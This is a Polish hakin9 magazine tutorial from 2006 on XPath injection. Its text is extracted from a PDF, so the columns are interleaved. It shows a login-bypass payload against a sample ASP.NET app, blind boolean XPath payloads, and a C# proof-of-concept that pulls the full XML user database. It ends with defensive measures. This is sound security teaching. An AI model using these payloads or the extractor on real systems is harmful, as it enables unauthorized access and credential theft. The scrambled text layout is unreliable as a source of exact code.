Wprowadzenie do technik
Xpath Injection
Praktyka
Jaime Blasco
stopień trudności
Atak typu Xpath Injection polega na zastosowaniu pewnych
manipulacji w stosunku do wyszukiwania xpath, w celu
wydobycia informacji z baz danych XML. Jest to relatywnie
nowa technika, w pewnym stopniu podobna do ataków typu Sql
injection, jak będzie można zobaczyć w dalszej części artykułu.
anim wytłumaczymy wszystkie kwestie " pierwsza linijka definiuje wersję Xml, może-
związane z tym rodzajem ataku, poda- my zauważyć, że używamy wersji 1.0,
Zmy podstawy teoretyczne, co pomoże " w drugiej linijce opisujemy element zródło-
nam lepiej wszystko zrozumieć. wy typu osoba,
Podstawy, o których mówię, to przede " cztery następne linijki opisują cztery ele-
wszystkim standard XML oraz język XPATH. menty dzieci zródła (imię, nazwisko, nu-
Xml to skrót od Extensible Markup Language mer dowodu osobistego, firmę), a element
(System składni uniwersalnego języka znaku- dziecko numeru dowodu osobistego po-
jący dane), został on rozwinięty przez World siada atrybut private,
Wide Web Consortium. " w ostatniej linijce definiujemy koniec ele-
Standardu tego używa się do opisywania mentu zródłowego.
danych zwanych dokumentami XML. Aby zro-
zumieć, jak działa Xml najlepiej jest zapoznać
Z artykułu dowiesz się...
się z poniższym przykładem:
" Jak działa XML i XPATH
" Jak stosować techniki Xpath injection, aby omi-
nąć zabezpieczenia aplikacji i wydobyć infor-
Jaime
macje z baz danych XML.
Blasco
Powinieneś wiedzieć...
12345678wosobistego> " Podstawowa znajomość C# (jeżeli znasz język
Java, nauczenie się tego kodu przyjdzie Ci bez
Eazel S.L
wysiłku).
" Znajomość protokołu HTTP.
Jak widzimy w przykładzie:
hakin9 Nr 5/2006
2 www.hakin9.org
Xpath Injection
Jak zdążyliśmy zapewne zauważyć, re pozwalają nam wybrać jeden wę-
Listing 1. Dokument XML dla
XML to bardzo prosty i intuicyjny ję- zeł, posiadający specyficzną charak-
kont użytkownika
zyk, pozwalający nam opisywać da- terystykę:
ne w sposób szybki i łatwy.
Teraz, kiedy nauczyliśmy się już, /osoba/numer dowodu osobistego[@privat
"ISO-8859-1"?>
jak działa XML potrzebny jest nam pe- e= jeżeli ]
wien rodzaj mechanizmu, który po-
jaime
zwoliłby nam wykorzystać te dane. Tu Służy to wybraniu wszystkich ele-
1234
właśnie przydaje się język Xpath. mentów dzieci elementu typu nu-
konto_administratora
mer dowodu osobistego, których
Język Xpath atrybut private jest równy jeżeli.
Xpath to skrót od XML Path Langu- Należy także wyodrębnić opera-
pedro
age, dzięki Xpath będziemy mogli tory warunkowe:
12345
wybrać informację wewnątrz doku-
mentu XML odwołując się do dowol- " Operatora and używa się wsta-
konto_pedro
nego rodzaju danych w nim zawar- wiając różne predykaty logiczne
tych (tekst, elementy, atrybuty). w nawias,
Można używać Xpath bezpo- " operację or przedstawia się pio-
zaproszony
średnio z aplikacji; na przykład Mi- nową kreską |,
anonymous1234
crosoft .NET lub Macromedia Cold- " operacja negacji zarezerwowana
Fusion mają domyślnie wpisaną ob- jest dla słowa not. konto_zaproszonego
sługę tego rodzaju narzędzia.
Stosowany przez Xpath sposób Jak widzicie opisujemy część zasad
wybierania części danego dokumen- składni Xpath co pozwoli nam zrozu-
tu XML polega na zaprezentowaniu mieć zaprezentowane poniżej przy-
jej w formie drzewka węzłów wyge- kłady wstrzyknięć, użytych w sto-
nerowanego przez parser. sunku do aplikacji. bierania wszystkich węzłów wszyst-
W drzewku istnieją różne rodzaje Aby stopniowo zapoznawać się kich rodzajów:
węzłów jak na przykład: z programem, który będziemy póz-
niej analizować, użyjemy jako przy- //user/node() o //user/child::node()
" zródło, kładu tego samego archiwum xml
" element, stosującego aplikację. (patrz Li- dzięki temu zapisowi wybrane zo-
" atrybut, sting 1). staną wszystkie węzły wywodzą-
" tekst, Przejdzmy dalej poznając nowe ce się od dowolnego użytkownika
" komentarze, szczegóły dotyczące języka Xpath; (w naszym przypadku jest ich trzy
" instrukcja przetwarzania. możemy używać podwójnego slasha dla każdego usera, i są to węzły ty-
// (descendant), aby wybrać wszyst- pu text()).
Jednymi z podstawowych filarów ję- kie węzły wywodzące się ze zbioru Możemy także odwołać się do
zyka Xpath są wyrażenia, innymi sło- węzłów kontekstowych: rodzaju węzła i w ten sposób otrzy-
wy są to instrukcje języka. mamy:
W wyrażeniach zawarte są ope- //user/name
racje; jedną z ważniejszych jest loca- " text() : Węzły typu tekst,
tion path. Prostym przykładem takie- dzięki temu zapisowi wybrane zosta- " comment() : Węzły typu komen-
go wyrażenia byłoby: ną wszystkie nazwy użytkowników. tarz,
Inne narzędzie, którym dysponu- " processinginstruction() : Węzły
/osoba/imię je Xpath to node() stosowane do wy- typu instrukcja procesu.
które odwołuje się do wszystkich ele-
mentów typu imię, podwieszonych do
jakiegokolwiek elementu typu osoba,
podwieszonego z kolei do węzła zró-
dłowego. Wyrażenia w Xpath zwra-
cają nam listę odwołań do elemen-
tów, ta lista może być pusta lub za-
wierać jeden węzeł lub więcej.
Innym mechanizmem stosowa-
Rysunek 1. Ekran logowania
nym przez Xpath są predykaty, któ-
www.hakin9.org hakin9 Nr 5/2006 3
Praktyka
Ostatni opisany przez nas fragment
Listing 2a. Aplikacja index.aspx
składni dotyczy predykatów kardynal-
nych:
<%@ Page Language="C#" %>
//user[position()=n]/name
nam rozmiar string istniejącego
w pierwszym węzle pierwszego
użytkownika (jaime czyli pięć).
" s u b s t r i n g ( s t r i n g , n u m b e r ,
number): Zwraca nam podłańcuch
Acceso al sistema:
pierwszego elementu, rozpoczy-
Ten nowo wprowadzony login spra-
wia, że wyszukanie zmienia się i jego
wynikiem jest zawsze pierwsza na-
zwa konta z archiwum XML.
Przypuszczam, że po przeczyta-
niu tych ostatnich fragmentów wie-
lu z was zauważyło już, że tego ro-
dzaju atak ma pewne analogie do
SQL injection, wyszukaniem SQL,
które mogłoby użyć podobnej apli-
Zanim zaczniemy, chciałbym za- System.Xml.XPath.XPathException: kacji, byłoby na przykład: Select *
znaczyć, że użyte w tym artykule Error during parse of From users where name = '' and pas-
przykłady zostały zaprogramowane string(//user[name/text()= swd = ''
za pomocą języka C# na platformie ''' and password/text()=''] A atakujący mógłby użyć a' or
Mono, która pozwala nam stosować /account/text()) ---> 1=1 wyszukanie zamieniłoby się
aplikacje .NET i jest oprogramowa- Mono.Xml.XPath.yyParser. wówczas w Select * from users
niem wolnym oraz multiplatformo- yyException: irrecoverable syntax error where name = 'a' or 1=1 ignorując
wym (Linux, Windows, Mac OS). pozostałą część wyszukania.
Do celów programowania użyto Aplikacja została napisana w W przypadku Xpath nie istnieje
monodevelop, a do jego uruchomie- asp.NET i uruchomiona w xsp(mo- odpowiednik de aby skomentować
nia serwera XSP lekkiego serwera no), ponadto widzimy, że używa ona fragmenty wyszukania, tak więc mu-
sieciowego obsługującego asp.net. Mono.Xml.Xpath. W tym przypad- simy zastosować inny mechanizm.
ku nie będzie łatwiej zburzyć logi- Jak mogliśmy zauważyć wcześniej
Pierwszy kontakt kę aplikacji, ponieważ w opisie błę- stosujemy wyszukanie ' or 1=1 or
Użyta aplikacja została pokazana w du pokazuje się nam pełne wyszu- ''= w ten sposób wynikiem wyszuka-
Listingu 2. kanie xpath: nia był zawsze komunikat TRUE po-
Po podłączeniu się za pomocą przez zastosowanie dwóch następu-
przeglądarki z serwerem xsp, poja- string(//user[name/text()= jących po sobie or, żeby anulować
wi się strona, którą można zobaczyć '' and password/text()=''] znaczenie operatora AND.
na Rysunku 1. /account/text()) Po wprowadzeniu wcześniej
Jak możemy zauważyć jest to pro- wspomnianego łańcucha, aplika-
sta aplikacja symulująca dostęp do Teraz zastanówmy się nad tym, co cja zezwoli nam na dostęp do konta
pewnego rodzaju zastrzeżonej zawar- by się stało, gdybyśmy jako login administratora ze względu na to, że
tości tylko dla zarejestrowanych użyt-
kowników. Teraz zastanowimy się jak
moglibyśmy sprawić, że aplikacja bę-
dzie się zachowywać w sposób nie-
typowy. Mamy dwa pola do wprowa-
dzania danych (textbox), z reguły strin-
gi użytkowników oraz passwords będą
złożone ze znaków alfanumerycznych
i być może będą miały jakiś znak spe-
cjalny, ale co by się stało, gdybyśmy
przykładowo wprowadzili jako nazwę
użytkownika zwykły przecinek (patrz
Rysunek 2). Jak możemy zaobserwo-
wać w tej linijce:
Rysunek 2. Ekran błędu aplikacji
www.hakin9.org hakin9 Nr 5/2006 5
Praktyka
jest to konto znajdujące się na pierw-
Listing 3a. Aplikacja do wydobywania bazy danych XML
szym miejscu w archiwum XML.
No więc tak, na razie udało nam
using System;
się uwierzytelnić się w systemie ja-
using System.Net;
using System.IO; ko użytkownik, ale co jeszcze moż-
na by zrobić?
public class injection {
Uzyskanie bazy danych XML
static string host = "http://127.0.0.1:8080/
Jak zapewne sądzicie, początkowy
index.aspx?__VIEWSTATE=DA0ADgIFAQUDDgINA
A4EBQEFAwUJBQ0OBA0NDwEBBFRle wstęp teoretyczny z pierwszej części
HQBBHVzZXIAAAAADQ0PAQIAAAEEcGFzcwAAAAAND
artykułu nie miał służyć jedynie zro-
Q8BAgAAAQ1BY2Nlc3MgRGVuaWVkAAAAAA0NAAwa
zumieniu istoty tego małego ataku
GA1TeXN0ZW0uU3RyaW5nTm1zY29ybGliLCBWZXJzaW
na logikę aplikacji. I słusznie, ponie-
9uPTEuMC41MDAwLjAsIEN1bHR1cmU9bmV1dHJhbCwgU
waż od tego momentu skupimy na-
HVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYBBkl
0ZW0gMQEGSXRlbSAyAQZJdGVtIDMBBkl0ZW0gNAEGS sze wysiłki na uzyskaniu pełnej bazy
XRlbSA1AQZJdGVtIDYaGQQABgIFAAIGAAIHAAIIAAIJAA
danych XML.
IKAA4AAAANDQ8BAgAAAQAAAAAADgIBBkNoZWNrMQE
W tym celu będziemy musieli
ITGlzdEJveDE%3D&";
uciec się do pomocy tych kilku na-
static string zaakceptowany = "Acces Granted";
rzędzi, którymi dysponujemy, a mia-
static string[] caracteres =
{" ", "a", "b", "c", "d", "e", "f", "g", "h", "i", nowicie do języka Xpath i odpowie-
"j", "k", "l", "m", "n", "ń", "o", "p", "q" ,"r",
dzi aplikacji na nasze zapytania (ze-
"s", "t", "u", "v", "w", "x", "y", "z",
zwolenie na dostęp lub odmowa do-
"1", "2", "3", "4", "5", "6", "7",
stępu), które będziemy stosować ja-
"8", "9", "_", "."};
ko prawdziwe lub fałszywe.
static int liczba_zapytań;
public static void Main(string[] args) { Podajmy praktyczny przykład po-
//count(//user/child::node()
wstały w wyniku zastosowania tych
DateTime d = DateTime.Now;
dwóch narzędzi: załóżmy, że chce-
int liczba_użytkowników = -1;
my się dowiedzieć, jaką długość ma
for (int i = 0;
pierwsza nazwa użytkownika.
liczba_użytkowników == -1; i++) {
if (wartość("' or count(//user/ Spróbujemy użyć tego wyrażenia
child::node())=" + i + "or ''='")) {
zamiast loginu użytkownika:
liczba_użytkowników = i;
}
' or string-length
}
(//user[position()=
liczba_użytkowników = liczba_użytkowników / 3;
Console.WriteLine 1]/child::node()
("Liczba_użytkowników w archiwum:
[position()=1])=4 or ''='
" + liczba_użytkowników);
//Rozpoczynamy tworzenie listy węzłów
Jak możecie zauważyć w wyszuka-
użytkowników
niu, zdaliśmy się na łut szczęścia
for (int i = 1; i <
liczba_użytkowników + 1; i++) { i zapytaliśmy aplikacji czy string
for (int j = 1;j < 4; j++) {
pierwszej nazwy użytkownika skła-
Console.WriteLine(texto(i, j));
dał się z 4 znaków a wynikiem tego
}
wyszukania otrzymanym od aplikacji
}
był access denied (false).
Console.WriteLine
("Zapytania użyte do W związku z tym wypróbujemy
wydobywania danych: "
więcej kombinacji aż do trafienia, w
+ liczba_użytkowników);
tym przypadku jest to 5.
Console.WriteLine
("Czas poświęcony na przeprowadzenie tego procesu:
' or string-length
" + ( DateTime.Now - d ));
(//user[position()=
}
1]/child::node()
private static
[position()=1])=5 or ''='
string połączenie(string łańcuch) {
string zapytanie =
Odpowiedzią serwera jest access
host + "TextBox1=
" + łańcuch + "&TextBox2= granted (True).
a&__EVENTTARGET=Button1";
Podajmy inny przykład, teraz
chcemy się dowiedzieć jaka jest
www.hakin9.org
6 hakin9 Nr 5/2006
Xpath Injection
pierwsza litera wchodząca w skład
Listing 3b. Aplikacja służąca do wydobywania bazy danych XML
string pierwszego użytkownika.
Zastosujemy następujące wy-
WebClient client =
szukanie:
new WebClient ();
Stream data =
client.OpenRead (zapytanie);
' or substring
StreamReader reader =
((//user[position()=
new StreamReader (data);
1]/child::node()[position()
string s = reader.ReadToEnd ();
=1]),1,1)="a" or ''='
data.Close ();
reader.Close ();
return s;
W ten sposób pytamy aplikację czy
}
pierwsza litera nazwy pierwszego
private static bool
użytkownika to a, odpowiedzią ser-
wartość(string łańcuch1) {
wera jest komunikat False.
string body =
W ten sposób testujemy kom- połączenie(łańcuch1);
liczba_zapytań++;
binacje aż dochodzimy do j, w tym
if (body.IndexOf(zaakceptowany) == -1) {
przypadku odpowiedzią serwera jest
return false;
komunikat True.
} else {
return true;
Automatyzacja
}
procesu
}
private static string
Myślicie pewnie, że stosowany do tej
tekst(int użytkownik, int węzeł) {
pory proces jest długi i nudny i by-
//string-length
łoby zupełnie niemożliwe przepro-
(//user[position()=
wadzić go ręcznie, ale jeżeli skon- 1]/child::node()[position()=1])
//substring
struujemy aplikację, która zrobi to za
((//user[position()=
nas, uzyskamy bez problemu bazę
1]/child::node()[position()=1]),2,1)="a"
danych XML.
int długość = -1;
Ponadto w tym przypadku, ja-
for (int i = 0;
ko że nie jest to ślepy atak, ponie- długość == -1; i++) {
if (wartość("' or string-length
waż z góry znamy strukturę archi-
(//user[position()=
wum XML, będzie możliwe rozwinię-
" + użytkownik + "]/child::node()
cie naszego programu w sposób du-
[position()=" + węzeł + "])
żo łatwiejszy i szybszy.
" + "=" + i + " or ''='" )) {
Wykorzystując informacje, któ- długość = i;
}
re przyniósł nam komunikat pierw-
}
szego błędu otrzymany od aplikacji,
string wartość_tekstu="";
będziemy w stanie zrekonstruować
for (int i = 0; i
strukturę archiwum xml, która była-
< długość + 1; i++) {
by taka: for (int j = 0; j
< znaki.Length; j++) {
if (wartość("' or substring
((//user[position()=
" + użytkownik + "]/child::node()
[position()=" + nodo + "]),
" + i + ",1)=" + "\""
+ znaki[j] + "\"" + "or ''='")) {
wartość_tekstu =
wartość_tekstu + znaki[j];
A zatem nasza aplikacja będzie
}
zmuszona sprawdzić rekurencyjnie
}
wszystkie węzły i odtworzyć każdy }
return wartość_tekstu;
ze znaków składających się na każ-
}
dy string.
}
Do tego testu koncepcji stworzy-
łem niewielką aplikację napisaną w
C#, która wydobywa wszystkie dane Kod ten podany jest w Listingu 3. nej dotychczas, powinniśmy poznać
z archiwum xml aplikacji opisanej w W momencie pisania waszej wła- zmienne wysyłane do aplikacji pod-
tym artykule. snej aplikacji lub zrozumienia używa- czas procesu uwierzytelniania.
www.hakin9.org hakin9 Nr 5/2006 7
Praktyka
O autorze
Autor od wielu lat zajmuje się wszyst-
kim tym, co związane jest z bezpie-
czeństwem informatycznym. Jest
współzałożycielem Eazel S.L (http:
//www.eazel.es), firmy zajmującej się
bezpieczeństwem, gdzie pracuje jako
audytor bezpieczeństwa informatycz-
nego w Madrycie.
Rysunek 3. Ekran zatwierdzonego dostępu do systemu
W tym celu możemy obejrzeć Zobaczmy przykład działającej
W sieci
kod zródłowy HTML lub użyć serwe- aplikacji na Rysunku 4. Jak możemy
ra proxy local jako WebScarab. zauważyć, potrzebujemy dosyć dużej
" http://www.mono-project Strona
Wątki zanalizowane w tej aplika- ilości zapytań skierowanych do ser-
internetowa projektu mono.
cji to: wera sieciowego, aby odtworzyć kom- " http://www.w3.org/TR/2004/REC-
pletną bazę danych XML. Nie jest to xml-20040204/ Extensible Mar-
kup Language (XML) 1.0 (Third
__VIEWSTATE= jednak problem z racji tego, że moż-
Edition).
DA0ADgIFAQUDDg na by nawet usprawnić kod zródłowy
" ht tp: / / w w w.w3 .org / T R /xpath
INAA4CBQEFCQ4C do tego stopnia, że potrzebna byłaby
XML Path Language (Xpath) Ver-
DQ0PAQEEVGV4dA mniejsza ilość zapytań w przypadku,
sion 1.0
FOJyBvciBzdHJpbm gdy przeprowadzamy pewien rodzaj
" h t t p : / / w w w . w a t c h f i r e . c o m/
ctbGVuZ3RoKC8vd wyszukiwania binarnego, pytając ser-
resources/blind-xpath-njection.pdf
XNlcltwb3NpdGlvb wer, czy dany znak znajduje się przed,
Blind Xpath Injection
igpPTFdL2NoaWxk czy po znaku określonym przez nas.
" http://msdn.microsoft.com/library/
Ojpub2RlKClbcG9
default.asp?url=/library/en-us/
Jak unikać ataków
zaXRpb24oKT0xX
dnpag2/html/paght000003.asp
tego typu
Sk9NCBvciAnJz0n How To: Protect From Injection
Attacks in ASP.NET
AAAAAA0NDwECA W ostatniej części artykułu omówi-
AABDUFjY2VzcyBE my sposoby unikania tego rodzaju
ZW5pZWQAAAAADQ0 ataków oraz im podobnych.
PAQIAAAEAAAAAAA4B Istnieje wiele różnych metod unika- Inna z istniejących metod pole-
AQZDaGVjazE%3D nia tej klasy ataków; jedną z nich jest ga na nadawaniu zapytaniom para-
&TextBox1=test zatwierdzanie wejść użytkownika. metrów i dzięki temu wyrażenia użyte
&TextBox2=test Ta forma prewencji opiera się na w wyszukaniach nie zostaną włączo-
&__EVENTTARGET=Button1 nie ufaniu całkowicie temu, co wy- ne w czasie uruchamiania. Stosujemy
&__EVENTARGUMENT= syła nam użytkownik i filtrowaniu sparametryzowane zapytania, wyszu-
HTTP/1.0 200 OK wszystkich znaków, które uważamy kania zostają przekompilowane za-
za niebezpieczne dla naszej aplika- miast zastosować wejścia użytkowni-
Z tych zapisów wydobędziemy cji. Dla tego celu możemy wdrożyć ka pomiędzy wyrażeniami.
zmienne konieczne, aby nasza apli- mechanizmy jednoczesnego filtro- I na koniec inną możliwą do zasto-
kacja połączyła się z serwerem. wania zarówno serwera jak i klienta. sowania metodą, jest użycie klas, któ-
re wprowadzają ochronę przed tego
typu atakami, jak ta stworzona przez
Daniela Cazzulino, którą znajdziemy
w sekcji artykułu - linki.
Podsumowanie
Istnieje wiele ataków polegających na
wstrzyknięciu kodu. W artykule mówi-
liśmy o wstrzyknięciu kodu do Xpath,
a jako że XML to coraz szerzej sto-
sowana technologia, takie ataki mo-
gą nabrać dużego znaczenia, jeżeli w
aplikacjach używane są niezabezpie-
Rysunek 4. Działająca aplikacja
czone formuły XML i XPATH. l
www.hakin9.org
8 hakin9 Nr 5/2006
Wyszukiwarka
Podobne podstrony:
Portal BK 1streszczenie raportu pzh dla portaluFIT PL pierwszy w Polsce portal fitnessfuel injection?c systemkol pods 1 portalfunction xpath new contextinject plportalik orgEQUILIBRIUM BK 2 Portal Chronfunction xpath evalzengin portale3439 cnc 602a injector cleaner introductionSip 09 Injection Molding B&Wwięcej podobnych podstron